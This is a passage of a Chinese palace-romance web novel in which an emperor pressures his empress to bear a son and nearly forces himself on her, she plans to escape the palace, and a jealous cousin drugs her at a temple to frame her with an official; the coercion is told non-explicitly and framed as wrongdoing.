薛弗玉瞧见他脸上破天荒地露出受伤的神色,下意识想要心软,可一想到他这副样子可能是装出来,她又只能强迫自己道:“陛下若是想要臣妾信任您也可以,臣妾请求陛下收回赐婚的圣旨,从此以后臣妾一定不再怀疑陛下。” 谢敛没想到她会说出这样的话,他面上的自嘲愈发明显,却拒绝了她的要求:“朕是天子,送出的圣旨岂有还能收回的道理,玉姐姐,赐婚一事已经板上钉钉,你不必再说这些。” 薛弗玉面上露出果然如此的神情,她道:“陛下这般对待对您忠心耿耿的臣子,就不怕朝中众臣知道,会寒了他们的心吗。” 宋璋从他还是皇子的时候,就已经选择了与他站在同一阵营,在他登基之后更是为了大周殚精竭虑,帮着他打理这个国家。 谢敛这样的做法,不是恩将仇报是什么。 “所以我在你的眼里,这么不堪?”他带着几分苦涩问。 谢敛不愿再听薛弗玉为了别的男人与自己作对,她每替宋璋说一个字,就会让他对宋璋嫉妒多一分,他猩红着一双眼睛,再次期身靠近她:“玉姐姐为了他,要与我这样么?” 薛弗玉仰头看向他,抿着唇没有说话,倒像是默认。 “好,很好。” 男人说完之 后笑了几声,然后突然平静下来,他倾身靠近她,用几乎是情人间呢喃的语气对着她道:“想要我收回旨意也可以,或许等玉姐姐怀上我的孩子,兴许我一高兴,就会收回旨意。” 薛弗玉没想到他会与她提出这种让人意外的条件,她下意识以为是自己偷偷吃避子药的事情被他发现了,但转念一想就知道没有,若他真的发现,定然不会前还能与她心平气和的说话。 “怎么,玉姐姐是不愿意么?”他靠近她,伸出手轻触她的侧脸。 谢敛迫切地想要让她再次怀上自己的孩子,好像这样才能证明她的心里是有他的,他忍着内心叫嚣的情绪,静静盯着薛弗玉,等待着她的回答。 可他却忘了,即便她已经与他有了一个孩子,如今对他的态度也大不如从前。 薛弗玉看着近在咫尺的脸,瞧见他克制的眼神,只觉得心里泛起酸楚。 “陛下还记得臣妾那天生昭昭时的场景吗?” 半晌,只听见女子轻轻问了这一句。 谢敛愣了一瞬,喉头滚动了一下,“记得。” 却见薛弗玉唇边勾出惨淡的笑:“那一次臣妾去了一趟鬼门关,身子也受损严重,陛下如今想要臣妾再给您生孩子,想来也是不在乎臣妾的身子。” 不是! 他想要反驳,可话却堵在了喉间。 “如今臣妾便告诉陛下,臣妾不愿,陛下若不想收回成命便罢了,还有,陛下若是想要人生下皇长子,大可去找旁的女人。” 说她自私也好,她从不觉得有什么事能越过自己的生命。 被她这样干脆的拒绝,谢敛的脸色倏地沉了下去,墨黑的眼眸里似乎酝酿着危险的风暴。 他的声音极度压抑着,极力让自己维持原本的平静:“为何不愿?张衡已经与朕说了,你的身子再生育不会再有问题,朕也不会让你生育时再经历那样的事情。” 闻言薛弗玉脸上露出苦笑,一颗心逐渐失望,她抬头对上他,艰难地一字一句问:“陛下是执意想要臣妾生下皇子吗?” 她静静看着他,等待着他的回答。 片刻,谢敛轻抚她的侧脸的手放在她的肩上,低声轻哄道:“太子只能从皇后的肚子生出来,玉姐姐,相信我好么,只要怀上皇子,我就收回赐婚的圣旨。” 脸上是他微凉的手掌,薛弗玉只觉得心里一片酸涩,果然自己的命比不过他那所谓的皇子。 半晌,她颤声道:“臣妾说了,臣妾不愿。” 话才说完,眼前骤然覆上一道黑影,檀香瞬间裹住了她。 那只原本轻抚她侧脸的手按在了她的后脑,逼着她不得不靠近。 谢敛不想再听她说不愿的话,只能封住她的双唇,然而很快他只觉得唇上传来一阵刺痛,他睁开眼睛,对上那双含了怒气的眸子,他面上一愣。 唇齿之间很快传来淡淡的铁锈味。 “谢敛,你在做什么!”薛弗玉趁着他愣神的一瞬,忙挣脱开。 谢敛的指尖擦去唇上的血,再度想要吻上去:“自然是做夫妻之间该做的事情。” “我不要!” 她双手用力抵住他,偏头躲开对方想要再次吻上来的双唇。 谢敛被她一躲,与她的唇角擦过,他本就因为她的屡次拒绝而生出了怒火,当即抬手捏住她的下巴迫使她对上自己。 他贴着她的侧脸,心底的偏执显露,看向她的眼神里透露出浓浓的侵略,可说出的话又温柔得近乎可怕:“玉姐姐身为皇后,就要履行皇后的职责。” 第53章 薛弗玉的力气哪里抵得过他,直到被他近乎粗暴地扔在榻上的时候,才明白她再三的拒绝彻底惹怒了谢敛。 不等她挣扎着坐起来,男人已经欺身而上,高大的阴影将她整个人都笼罩住,她被牢牢禁锢在他的身下,动弹不了一点。 “谢敛,你放开我!” 她因为反抗,眼尾泛着嫣红,眼眸上蒙了一层朦胧水雾,看起来可怜又脆弱,让覆在她上方的男人见了眸色变得更深。 他空出来的手轻抚她的脸颊,温柔地对着她低语:“玉姐姐,我给过你机会,听话,为我再生个皇子。” 薛弗玉咬着唇摇头,仍旧是不愿意。 她不愿给他生孩子,难道还想给旁人生么?想起那次她透露出想出宫的想法,他心里的那团火便越烧越旺,将他的理智全部都烧光了。 谢敛的脸色瞬间沉了下去,他贴了上去,呢喃低语:“玉姐姐不愿意也没关系。” 说着他的手去扯她身上的衣裳,很快就被扯开一篇,身下的女子露出雪白的肌肤,随着她剧烈的呼吸而起伏。 “不要”薛弗玉无力地反抗。 他不顾她的抵触再度吻了上去,不多时,他就尝到了咸咸的味道。 是她的眼泪。 谢敛脸上出现错愕,瞧见身下女子眼角的泪珠,听着她细细地抽噎声,他的心脏猛地一缩。 他现在在做什么? 薛弗玉头一次被他这样对待,整颗心像是被钝刀子一下又一下地割着,心脏深处传来的钝痛很快就蔓延到四肢百骸,她闭上眼睛,任由眼泪从眼眶中流出。 片刻之后,覆在她身上的男人却突然离开。 她睁开眼睛,对上那双同样泛红的双眼。 半晌,谢敛冷静了下来,他看着身下女子默默流泪,这是她第一次在他跟前掉泪,而罪魁祸首是他。 耳边仿佛还响着她方才的抽噎声,他反应过来自己方才做了什么,忽地慌乱地将人给抱起,然后小心翼翼替她拢好被自己不久前扯开的衣襟。 “对不起,玉姐姐,对不起” 薛弗玉被他紧紧抱在怀里,她闹钟一片混乱,耳边是他道歉的声音,好像刚才那个想要对她用强的人不是他。 “陛下,这样有意思吗?” 她在他的肩上抬头看他,缓了许久,才哑着声音问。 谢敛哑然,他如今还有什么不明白的,她不爱他,所以不愿再给他生下孩子。 仅此而已。 若是他真的对她用强,只会让她更加的厌恶他。 他刚才差点就酿成了大错,心里生出后怕。 “玉姐姐,为什么?” 片刻,薛弗玉只听见他沙哑的声音。 这三个字里,似乎包含了许多。 薛弗玉只觉得哭过的眼角酸涩得厉害,她忍住想要继续往下掉的眼泪,抬头望着头顶的帐子沉默不语。 她也想问为什么,除了刚成亲的第一个月,他们这十年来相处算得上是和睦。 如今细细想来,其实他们之间从来没有真正交过心,即便是做亲密的事时,也从未想过真正把自己交给对方。 所以走到现在这一步,早已经有了预兆。 她那时候总想着他们夫妻之间还有很长的时间可以慢慢来,十年他们都走过了,没有什么事是过不了的,现在她才发现,有些事情她容忍不了就是容忍不了。 强求也没用。 怀中之人的沉默让谢敛的心慢慢凉了下去,只觉得抱着人的手臂渐渐麻木,可放在她后脑的手掌始终没有松开。 良久之后,他似是终于妥协,叹了口气,哑声道:“玉姐姐不想生便不生了,我会再想办法,方才的事情,便忘了吧。” 如何能忘? 薛弗玉不知道他说这话是为了稳住她,还是真的,若是换做以前,或许她会心生欢喜,眼下她的心里却掀不起一点波澜。 “陛下的办法,是纳妃吗?” 她突然问。 想到昭昭的以后,她还是没忍住问出了口。 谢宁贞与她说过谢敛会纳妃,她原是怀疑的,可如今听见他说会再想办法,她自然觉得他是想让别的女子生下皇子。 谢敛没想到她就误会他说的另想办法是这个,他解释道:“我不会纳妃,我只是想——” 薛弗玉已经不想再听他的话,她想着自己不能太自私,既然已经选择要离开这里,其实他日后纳妃与否也与她无关了。 她吸了一口气,带着哭过后的鼻音缓缓打断他的话:“陛下,不管发生什么,就算是日后真的纳妃,可以待昭昭一如既往吗?” 那日她问昭昭的话还回想在耳边,她问昭昭愿不愿意离开皇宫,离开父皇,昭昭说不愿意。 当然,昭昭也说不愿意离 开她。 她知道女儿虽然小,但是有些事情是懂的。 可世事总是难以两全。 最终她想了一夜才相通,或许昭昭留在谢敛的身边,对她来说才是最好的,宫里的东西都是世上最好的,只要谢敛还是皇帝,昭昭就是天底下最尊贵的公主。 若是跟着她出宫,只能东躲西藏,那样的日子昭昭未必能受得了。 谢敛不知道她为何突然问这个,以为她是真的担心他日后会纳妃才会问他这种问题,她这样反而让他那颗心又开始活了起来,他轻声安慰她道:“我永远只会有昭昭一个女儿,你放心。” 有了他这句话,她心里到底是踏实了许多,这样她离开的时候也能干脆点。 可一想到怀胎十月生下的女儿,不久后就要与之分别,她还是觉得心如刀绞。 昭昭,是阿娘太自私了,对不起。 “请陛下一定要记住现在说的话。” 谢敛感觉到肩膀上濡湿了一片,他怔住,很快明白是她的眼泪。 同时心里突然生出有什么东西在慢慢失去的感觉,想要抓住却怎么也抓不住。 伴随着不知名的恐慌,他只能把人抱得更紧,好像只有这样才能把人牢牢留在身边。 他一定不会让玉姐姐离开他的。 一定不会。 —— 京中某处的院子。 薛岐看完宫中传出的信,很快就把它给烧了。 他坐在屋子里,面前桌子上的烛台正烧着廉价的蜡烛,烛光幽幽散发出昏暗的光芒。 即便是微弱的亮光,仍旧有虫子被它吸引而来,奋不顾身地扑进了火光之中,最后被烧成灰烬。 薛岐看着那些前仆后继的小飞虫,眼中没有半分的悲悯。 他虽然盯着那些虫子,脑中却在想别的事情。 阿姐给他传的信伤说,想要借他的手离开京城。 这倒是让他有些意外,他本可以用兵权去换她的自由,可他想不明白为何阿姐偏偏要选择别的办法。 谢敛想要他的兵权,那么他用兵权作为条件,让谢敛放阿姐出宫,以谢敛的为人,定然会二话不说就放了阿姐,毕竟当初娶阿姐他也是极为不愿的。 所以在看见信中阿姐的请求时,薛岐多少是有些意外的。 只是这样做的话许会麻烦些。 其实就算是阿姐不愿离开,他也要想办法带走阿姐,上次谢敛利用阿姐假孕的事情他还记着,要不是林季一直拦着他,说不定他早已进宫与谢敛对峙了。 就这件事上,他是不可能原谅谢敛的。 他手指有一搭没一搭地敲着粗糙的桌面,想着要怎么才能让阿姐脱身。 正当他推翻了好几个想出的办法时,外面的院门被人轻轻叩响。 这个时候前来敲门的,薛岐很快就知道了是谁。 他本是不想开门,只是院门外的人似乎是个有耐心的主儿,敲了半天没人开门仍旧没有放弃,就在他以为对方会离开时,又听见传来断断续地敲门声。 在这个寂静的院子里显得异常明显。 他啧了一声,接着起身走了出去。 楚莹手上提着灯笼,敲了半晌的门里头都没有动静,她想着那人或许不在,于是转身想要离开。 然而就在她转身的同时,院门从里头打开了。 楚莹稍稍提起灯笼想要看清来人,很快就亮光照在一张俊逸的脸上,她瞧见男子眉梢轻佻,然后不客气地问:“有事?” 她忙放下灯笼,紧张到声音都变小了:“薛公子,我不久后就要离开京城了,以后我们可能不会再见,上次您帮我的家人脱困,我不曾感谢您,这是我自己做的药囊,还请不要嫌弃。” 说着她拿着药囊的手往他跟前送去。 薛岐还以为她找他有什么事,没想到是来道别的,他抵在门边,没有要让她进去的意思,也没有要接过她手中药囊。 楚莹见他迟迟没有动作,以为他误会了什么,忙解释:“薛公子不要误会,我只是感激您和皇后娘娘,我身上没有什么值钱的东西可以用来报答您,只能自己亲手做了一个药囊,这药囊有驱蝇蛇的功效,就算是在山林里,只要佩戴上它,蛇也不敢近身。” 她的父亲是个大夫,她自小跟在父亲身边自然也学会了一些皮毛。 做药囊是她最拿手的。 眼前的少女因为紧张和害怕,话说到一半脸已经红了起来。 胆子这么小还敢来找他。 薛岐居高临下地看着她,眼中并没有出现任何波澜。 只是目光落在她的脸上时,脑中骤然闪过一个主意。 “你什么时候走?”他突然问。 “嗯?”楚莹一时没反应过来,睁着杏眼歪头看向他。 “走之前帮我做一件事,就当是报答我们姐弟了。” 薛岐直接道。 说着他侧身,示意她进院子。 他知道要怎么帮助阿姐离开京城了。 也明白了阿姐为何会在信上提及春猎一事,看来他的想法与阿姐的不谋而合 距离春猎只剩下半个月的时间,这段时间谢敛只要是在空闲的时候就会去陪薛弗玉,然而薛弗玉对待他也没了以往温柔的模样,就连装都懒得装。 可他觉得没关系,她现在只是因为宋璋的事情生他的气。 不过等他处理完京中那些人之后,她就会明白,他赐婚宋璋,并不是因为迁怒。 “玉姐姐已经给昭昭做了这么多衣裳,可以也给我做一件吗?” 谢敛不明白为何这段时间薛弗玉只要得空了就给昭昭做贴身的衣物,她已经连续做了好几件了,仍旧没有要停手的意思。 每次他坐在对面看着她缝制衣裳的时候,总会想起在旧宫的场景。 但他知道,那样的日子早已经回不去了。 “玉姐姐已经给昭昭做了这么多衣裳,可以也给我做一件吗?” 鬼使神差的,他突然问道。 薛弗玉听见他的话,手上的动作一顿,接着又继续,她道:“宫里有的是人替陛下裁衣,臣妾手艺不能让陛下满意。” 明晃晃的拒绝。 明知道她会拒绝自己,可是谢敛还是隐隐带着期待试探,真等到了她无情的拒绝,他才知晓难受的滋味。 若是还在旧宫,她见他可怜,很快就会心软帮他。 他动了动嘴唇,见她从始至终都没有抬头看他一眼,只觉得喉间涩得难受。 这些日子他本以为自己能习惯被她这般对待,但这么多天过去了,他发现自己还是不能接受她的冷漠对待。 “玉姐姐,你还要生气到什么时候,那天是我错了,不该那样对待你。” 他不知道她要如何才会消气,只能再次认错。 薛弗玉听着他认错的声音,心中没有任何的波澜,可一想到后日就是父母的忌日,她若是再一时对谢敛冷脸相待,说不定他不会愿意让她去护国寺给爹娘祈祷。 良久,谢敛听见她温声道:“那天的事,臣妾已经不怪陛下了。” 听见她原谅了自己,谢敛眼中露出欣喜,他似有不信,问道:“果真?” 见女子轻轻点头,他眼底浮现笑意。 然而不等他高兴多久,就听见她突然问:“后日是臣妾爹娘的忌日,陛下可允许臣妾出宫去护国寺,臣妾想给过世的爹娘诵经祈福。” 说完之后,男人却沉默了。 她抬眸看去,只见他看着她的眼中带着探究,仿佛想要看透她内心深处的真正想法。 “玉姐姐去护国寺,只是为了给岳父岳母上香?” 良久,男人低沉的声音传来。 薛弗玉面上仍旧是温和的神色:“这样的日子,臣妾难道还要借着父母忌日做别的事吗?” 她的眼眸中映出他的影子,目光平静,好像被他这样怀疑,也生不出任何的情绪了。 谢敛握着茶盏的指尖一紧,过了一会,他道:“是我想多了,后日我会多安排 几个人跟着你保护你。” 薛弗玉垂眸道了声谢。 是保护她还是为了看紧她,或许只有他自己清楚—— 作者有话说:放个预收《阿芙》 阿芙意外撞到了头,从前的事情皆不记得了。 下人告诉她已经成亲,她的夫君不仅相貌出众,待她还极为体贴细致。 他每日回来都会给她带她喜欢吃的糕点,闲时会亲自握着她的手教她弹琴。 唯一不好的,就是每每在夜里,在床笫间,夫君总会对她索求无度,令她有些吃不消。 阿芙得知自己有孕的那天,满心欢喜等待夫君回来时,一位自称是她夫君妹妹的女子闯入她的院中。 女子指着她骂:“不过是个妾都不如的外室,连宋三姑娘的一根指头都比不上!” 阿芙气急了,与女子推搡间不慎撞伤了头。 醒来时,她终于记起了自己是谁。 她根本不是那男人的妻子,而是被他养在外面的外室! 那所谓的宋三姑娘是他求而不得的白月光,她不过生得与宋三姑娘有几分相似,就被他强逼成了外室。 做了他白月光的替身。 她不愿做他的外室,在逃跑时撞到头失忆了。 * 陆诤出身高门世家,又得皇帝器重,这辈子顺风顺水,唯一不遂心的便是看上的宋三姑娘与旁人定了亲。 一日因公前往江南某个小镇,无意间撞见一位卖花女。 望着女郎那张有几分熟悉的脸,他心里头一次生出了卑劣的心思,用了手段把人给带回了京中别院养着。 谁知那女郎死活都不愿意做他的女人。 他想着她不过是无依无靠的孤女,他有的是手段让她心甘情愿做他的外室,却不想她竟在逃跑时撞到头失忆了。 失忆后她误以为他是她的夫君,性子变得乖巧懂事,满心满眼都是他,到最后还有了他们的孩子。 陆诤念在她怀了他的孩子,做外室到底是委屈他们母子,便想着等她生下孩子就把人抬为妾室。 可这一天,阿芙记起了所有…… 第54章 薛弗玉爹娘忌日这一天,她早早的就起了,让素月和碧云二人带上昨日准备好的祭品就出发前往护国寺。 护国寺离京城不远,马车到山门前的时候,还不到两个时辰。 主持一早就等在了那里,见了薛弗玉后直接带着她进了庙里。 想起被谢敛变相幽禁在这里的太后,薛弗玉便问道:“请问主持,母后她在这里一切可好?” 对于用下毒来揭穿自己假孕一事的太后,薛弗玉其实并没有真的同情对方,只不过她身为皇后,外人不知道太后在护国寺的真相。 若是她来了护国寺,却对太后不闻不问,倒显得有些奇怪。 反正问一下又不会少块肉。 主持早已听说当今皇后贤明温婉,是个好相与的,如今听她主动问起太后,便笑道:“皇后娘娘放心,太后娘娘在这里一切都好。” 薛弗玉闻言放心道:“今日本宫是来给父母诵经祈福,若还有时间,少不得要去给母后请安。” 主持却道:“太后娘娘喜静,不喜欢有人前去打扰,她说了谁去都不见。” 薛弗玉自然知道并非是太后真的喜静,着多半是谢敛不许有人接近太后,这完全是绝了太后与人来往的可能。 谢敛倒是狠心。 她似是有些遗憾:“如此,本宫倒是不好再去扰了母后的清修。” 说话的期间,已经到了供奉薛老将军和薛夫人牌位的大殿。 主持给她留了个小沙弥在殿外,然后告退。 这个牌位是前几年的时候薛岐让人送来的,方便她在忌日的时候前来祭拜。 他不喜欢薛家,所以不愿父母的牌位放在薛家,于是在几年前的时候,不管不顾硬闯薛家的祠堂,把父母的牌位给送到了护国寺承受香火。 那时候薛家三爷因为这事气得上奏弹劾自己的侄子,然而皇帝却没有理会,只说是他们薛家的家事,他不好插手,让他们自己解决。 可牌位都送到了护国寺,还能怎么解决? 薛家人只得咽下这口气。 薛弗玉从碧云的手中接过点好的香,然后插在牌位前的香炉上。 “这里没什么事了,出去吧,让我在这里陪陪阿爹阿娘。” 她在蒲团上跪下,转头对着站在身后的碧云道。 碧云应声,对着牌位拜了拜,而后出了殿外。 “阿爹阿娘,你们在下面过得可好?” 薛弗玉盯着眼前的牌位,只觉得眼睛被燃着的香熏得又涩又胀。 烟雾缭绕之间,仿佛看到了从前父母还在的场景。 她叩拜了三下,双手合十,口中念着经文。 也不知道过了多久,膝下跪得渐渐麻木,她想起自己即将离宫的事情。 “希望阿爹阿娘在天有灵,能够让女儿此番顺利离开,还有,在我不在昭昭身边的日子里,希望阿爹阿娘保佑昭昭健康成长,长乐无忧。” 说完之后,她重重地对着牌位磕了三个头。 “拦着我做什么,放我进去!” 殿外传来薛明宜的声音,薛弗玉皱眉。 她怎么来了? 门口的薛明宜知道今日是薛弗玉爹娘的忌日,她猜测薛弗玉或许会出宫,所以很早就来了这里等待。 没想到还真被她给猜对了,她原是想见谢敛的。 谁知道谢敛竟是没有陪着二姐姐来。 看来小安子说得没错,谢敛和二姐姐之间闹矛盾了。 好不容易打听到二姐姐在这里,她的宫女却不放她进去。 “皇后娘娘在里头诵经祈福,王妃还是不要进去打扰了娘娘。” 碧云和素月拦在薛明宜的身前,不管她说什么就是不让她进去。 薛明宜好不容易有能接触到薛弗玉机会,她如何能放过,于是对着里头道:“妾成王妃拜见皇后娘娘,还请皇后娘娘放妾进去,里头的人也是妾的二叔和二婶,妾只是想在他们忌日这一天给他们上一炷香。” 她说完之后里头却没有任何的动静,片刻之后,她跺了跺脚,今日见不到二姐姐她是不会甘心的。 “王妃还是请回吧,娘娘在里面潜心祈福,大约是不会让你进去。” 碧云说话不怎么客气,引得薛明宜心中更是升起一股火气。 “我不走,我在这里等二姐姐出来,没有给二叔二婶上一炷香,我是不会走的!” 说着她走到一边的廊庑下坐下。 “娘娘,咱们真的要等皇后娘娘出来吗?” 宝扇见她真的打算赖着不走,万一皇后娘娘故意晾着她们,那她们岂不是要在这里等许久。 薛明宜扯了扯嘴角:“二姐姐心肠软,不会真的让我在这里干等。” 谁知道这一回,她在廊庑下足足等了半个多时辰,才见女子从大殿中走出。 她拿着帕子在脖子和下巴处擦了擦,似乎是擦汗,收起帕子后她立刻走了过去:“妾见过皇后娘娘。” 薛弗玉瞧着她姿势标准地行礼,温声道:“成王妃不必多礼,起来吧。” 薛明宜起来后,凑上前眼巴巴地问:“皇后娘娘,妾可以给二叔二婶上一炷香吗?” 她靠得很近,近到薛弗玉能闻到她身上的一股异香,这香味闻着让人有些不舒服。 薛弗玉与她拉开了一点距离,眉心轻蹙:“本宫记得你与本宫的父母并未见过,上香就不必了,倒是太后娘娘也在这里,你若实在想表孝心,就代本宫去看望她老人家。” 薛明宜瞧见她的神情,眼神微闪,然后对着她道:“既然娘娘吩咐了,妾也不好推辞,对了,后山的桃花开得很好,娘娘感兴趣的话可以去瞧瞧。” 她知道薛弗玉一向都喜欢花,所以假装好心告诉了她。 “本宫 知晓了。“薛弗玉敷衍道。 此时的她哪里还有什么心情去看桃花。 “那妾先告退了。” 薛明宜走之前深深见了她一眼,唇边的笑意深了一些。 薛弗玉无瑕顾及这些,又回到了殿中。 许是殿里烧得香太多,她只觉得闻着有些闷,还有些口干,最后她还是选择出了殿外。 “娘娘可要去后山透透气?” 碧云见她出来,于是问她。 这里香火缭绕,确实容易让人觉得闷。 想起薛明宜说得后山的桃花开了,薛弗玉到底是有点心动,她点头:“先去走走,等会再回来继续给阿爹阿娘上香。” 庙里安静,那些谢敛特意派了来保护她的人都被她留在了山门外,全部都在外头守着。 薛弗玉也不喜欢身边这么多人跟着。 去后山也只带了素月和碧云二人。 山上的桃花果然是如薛明宜所说的开了许多。 只是她才逛了一会儿,便觉得身上有些无力,好不容易见到了一个六角的亭子,却见里头坐着个人。 她走了进去,却意外发现里头坐着的人竟是宋璋。 就在她以为自己看错了时,里面的青年已经站起来对她施礼:“臣见过皇后娘娘。” 薛弗玉意外道:“你怎么会在这里?” 宋璋的目光落在她许是因为爬坡累了,而染上薄红的脸上,很快又移开了视线,轻声道:“今日是薛老将军的忌日,臣想来给他们上香,只是没想到娘娘也来了。” 他慢了她一步,听人说她在这里时,碍于君臣有别,只能先避让,想着等她离开之后再去亲自上香。 谁知道她竟是也来了后山。 薛弗玉在他的对面坐下,拿着手帕的右手扇了扇风,也不知道是否方才爬了坡的缘故,她只觉得身上热得厉害,还莫名带着燥意,一股无力感袭来。 宋璋见此给她倒了一杯茶,推倒她的身前:“娘娘先喝口茶润润嗓子。” 薛弗玉此时见了那盏茶,愈发觉得渴得厉害,她索性直接端起喝完,然而这些茶水不仅没有压下身体的那股燥热,反而愈演愈烈。 这时候她才渐渐察觉到不对来。 “本宫好像中药了。” 她突然抬眸,皱眉对上宋璋清润的眼眸。 —— 这边的薛明宜已经见到了太后。 二人相对而坐,太后比起在宫中的时候清减了许多,她道:“难为你还记得哀家。” 薛明宜对于这个姑母是复杂的,见她落得如此下场,心中不免生出兔死狐悲的感觉来。 “自姑母来护国寺为将士们祈福后,祖母天天都在担心,大伯如今还在岭南,那些堂兄又都是不成器的,咱们薛家唯一能靠的就只有姑母。” 说着她的眼圈跟着红了,她想要与谢敛破镜重圆,还需要靠姑母,可姑母如今被困在这里,她不知道自己还有什么谁能依靠。 太后见她这般,心中到底也不好受,毕竟是自己从小看着长大的姑娘,然而她眼下也是自身难保,要不是自己的儿子还在封地,说不定皇帝早就处理了她。 “你也别自暴自弃,皇帝心中还是有你的,只要你肯豁出去。” 她的话说得直白,薛明宜听了后忍不住心酸:“不久前我好不容易找到机会见了陛下一面,谁知道陛下待我的态度大不如从前,我不知道为何会这样,难不成是他发现当年是我要换人的?” 太后道:“当年的事情过了这么多年,以陛下的性子不会去深究,许是哀家的事情牵连到了你,才会让他对你的态度突然转变。” 薛明宜细细想了想,觉得也有这个可能,毕竟姑母指使人下毒的事情被陛下知道了,才会被幽禁在这里的。 “陛下什么时候才会让姑母回去?”她问。 说起这个,太后脸上露出担忧的神色:“是哀家一朝不慎被人利用,才会落得如此下场,皇帝原本就对哀家不满,这一次不过是借着别人的手找了个理由把哀家关在了这里,大约是没有再想让哀家回宫的意思。” 这话一出,薛明宜的心顿时就凉了下去。 “陛下他,当真这么狠心?您可是他名义上的母亲,是当朝的太后。”她不敢相信。 太后冷笑一声:“这天底下谁能有他狠心,连弑父都敢的人,还有什么是不敢的?” 说完她察觉到自己说错了话,于是道:“哀家也不指望你能帮哀家一点忙,方才哀家已经告诉你了,只要你肯豁出去,没有什么事是不能成的。” “明宜听姑母的话。”半晌,薛明宜似下定了决心。 这一次她没有再扭捏。 倒是让太后有些意外。 片刻后,她道:“皇帝到底是还念着点你们从前的旧情,这样的机会不是谁都有的,事情成了咱们薛家也能再起来,若是没有成你也别怕,你是成王的未亡人,有成王生前积攒的声望在,他也不敢太过责罚你。” “明宜明白了。” 太后的话最终给了薛明宜一颗定心丸。 姑母说得没错,成功了陛下自然会想办法让自己留在他的身边,毕竟当年陛下待谁都冷冰冰的,唯独待自己有些不一样,说明他还是喜欢自己的。 若是失败了也没关系,她是成王妃,成王生前为大周做了不少实事,就算是陛下因为她的冒犯想要处置她,也得想想成王。 不过这些事先不着急,眼下最重要的,自然是去一趟后山。 刚刚有人来告诉她,二姐姐去了后山。 而宋璋正好也在那里。 她没想到这一切这么顺利,看来老天也在帮她。 如今她只要带着人前去捉奸,证实他们二人之间不清白,再将此事告诉陛下,想来以陛下的性子,说不定会直接杀了他们两个。 “姑母,我还有事,就不打扰你了。” 她要赶紧去后山 谢敛最终还是不放心薛弗玉一个人在护国寺,盯着薛明宜的暗卫说,她今早也出门去了护国寺,他担心薛弗玉会在那里碰上薛明宜。 更担心薛明宜会对她说些不该说的话趁机挑拨他们夫妻。 所以未到晌午的时候,他就让人牵来一匹马,直接骑马快马加鞭前往护国寺。 等他赶到护国寺后直接去了供奉薛弗玉父母牌位的大殿,然而大殿空空如也,除了烧到底的香之外,哪里还有女子的身影? 他脸上的神色沉了下去,走出大殿随便抓了一个路过的小沙弥来问,也没问出个结果。 庙中人烟稀少,她还能去哪? “陛下?!” 薛明宜本来是想确认薛弗玉是否真的离开,却不想在这里看见日思夜想的男人。 她瞬间就上前,然而想起上次在春郊的时候对方冷淡的态度,又在距离一丈远的地方停了下来,她期期艾艾地对着谢敛行礼,一双眼欲语还休。 谢敛此时没有耐心与她周旋,眉头几不可察地皱了一下:“皇后呢?” 薛明宜已经猜到他是来找薛弗玉的,于是装作惊讶道:“皇后娘娘去了后山看桃花,此时怕是与宋大人在一起。” 话才说完,就感觉周身的空气都冷了下去。 他直接转身往后山去了。 薛明宜看着他冷冰冰的背影,心脏突然狂跳起来,二姐姐中了她那药,算起时间来已经发作,说不定已经和宋璋牵扯到了一起。 陛下若是瞧见他们俩纠缠在一处…… 光是想想那场景,她就兴奋得不行。 二姐姐,别怪她心狠,她这都是逼不得已的—— 作者有话说:下章文案[狗头叼玫瑰] 第55章 薛弗玉感觉到不对劲的时候,宋璋自然也发现了。 “阿弗,你怎么了?” 眼前的女子双颊绯红,原先他还以为是因为她爬上后山累的,如今细看之下才发觉到不寻常之处。 薛弗玉脑中很快就有了答案,是薛明宜身上的那股异香,她接触过的人除了身边之人外就是她和护国寺的主持,就算给那主持十个胆子也不敢下药。 而薛明宜算准 了她会来后山,会在后山遇到宋璋,所以才敢给她下药。 即便是她碰不到宋璋,这护国寺里还有和尚。 和尚不也是男人吗? 当真是用心险! 她狠狠掐紧了掌心,用指甲陷入肉中的疼痛来让自己保持清醒,她的眸子已经染上了水色,看着人时似带着钩子,她努力让自己的声音听起来正常:“宋大人,有人想要陷害你我二人,我要先走了。” 说着她动了动身子,想要离开亭子。 然而身上的力气却像是被突然抽走,她身子一软,往旁边歪去。 宋璋见状伸手去扶住她,此时他也知道她中的是什么药,他眼中闪过狠色,语气带着担忧:“娘娘,这里没有大夫。” 薛弗玉只感觉被他碰到的地方像是火烧一样,她想要挣脱,却控制不住自己的身体想要往他身上贴去。 “宋大人,还请你尽快离开。”她微微喘着气道。 既然她走不了,也只能让对方离开这里。 “若是将娘娘扔在这里,臣不放心。” 宋璋瞧见她额头上开始沁出汗珠,更是担心她的身体,他扶着她坐下,却始终没有离开的意思。 “有人想要算计我和你,我不想连累你,快走吧” 薛弗玉只觉得神志开始模糊,四肢百骸像是被蚂蚁噬咬一般难受,心底隐秘的欲望愈发的强烈,让她的身体忍不住轻颤,最终痛苦呻/吟出声。 宋璋瞧见她这副样子,只得在她身边坐了下来,似是下定了决心,扶着她的肩膀问道:“外面可都是你的人?” 薛弗玉听着他清越的嗓音,人也暂时找回了一点理智,她轻轻点头:“陛下派的人都被我留在山门外,没有跟在我身边。” 有了她的肯定,宋璋扶着她肩膀的指尖收紧,对着她认真道:“阿弗,这种药的药性霸道,若是强忍对身体损伤极大,我可以帮你。” 薛弗玉听到他最后的话,只觉得脑子嗡地一下炸开,她抬眸对上青年温润的双眸,用力摇头:“宋璋,你不必如此,若是被他知晓,定然不会放过你。” 且她也不是非男人不可,还有别的法子。 她正要说自己可以,谁知道这药效又猛烈的袭来,她闷哼一声,身子不受控制地倒进宋璋的怀中。 “阿弗!” 怀中人颤抖的幅度变大,然而即便到了这种时候,她还是努力要自己掌控身体,拼命挣扎着从他的怀中出来。 “我,我没事,你,快走” 她不能害了宋璋,一定会有别的办法。 亭子外的碧云素月不知道发生了什么,突然看见薛弗玉倒在宋璋的怀中,又挣扎着离开时,察觉到了不对劲的地方,她瞬间快步走了进去。 “娘娘,您怎么了?” 进去之后她才发现了薛弗玉的不对劲。 宋璋对着碧云道:“皇后娘娘不慎着了旁人的道。” 见了碧云,薛弗玉喘着气道:“宋大人,你去帮我寻个大夫,碧云你和素月守在我身边,无论如何都不能让旁人靠近。” 碧云见她即便坐着,身子也摇摇欲坠,她看了一眼宋璋,最终还是让薛弗玉靠在自己的身上。 她不明白好好的,娘娘为何突然中了药,然而还是对着宋璋道:“娘娘如今这样的情形,还请宋大人速速离去。” 宋璋想没到即便到了这种时候,薛弗玉还是选择不牵扯上他。 明明他不介意的,他看着自己放在心底十几年的女子,最终没有说什么,站了起来。 “陛下!” 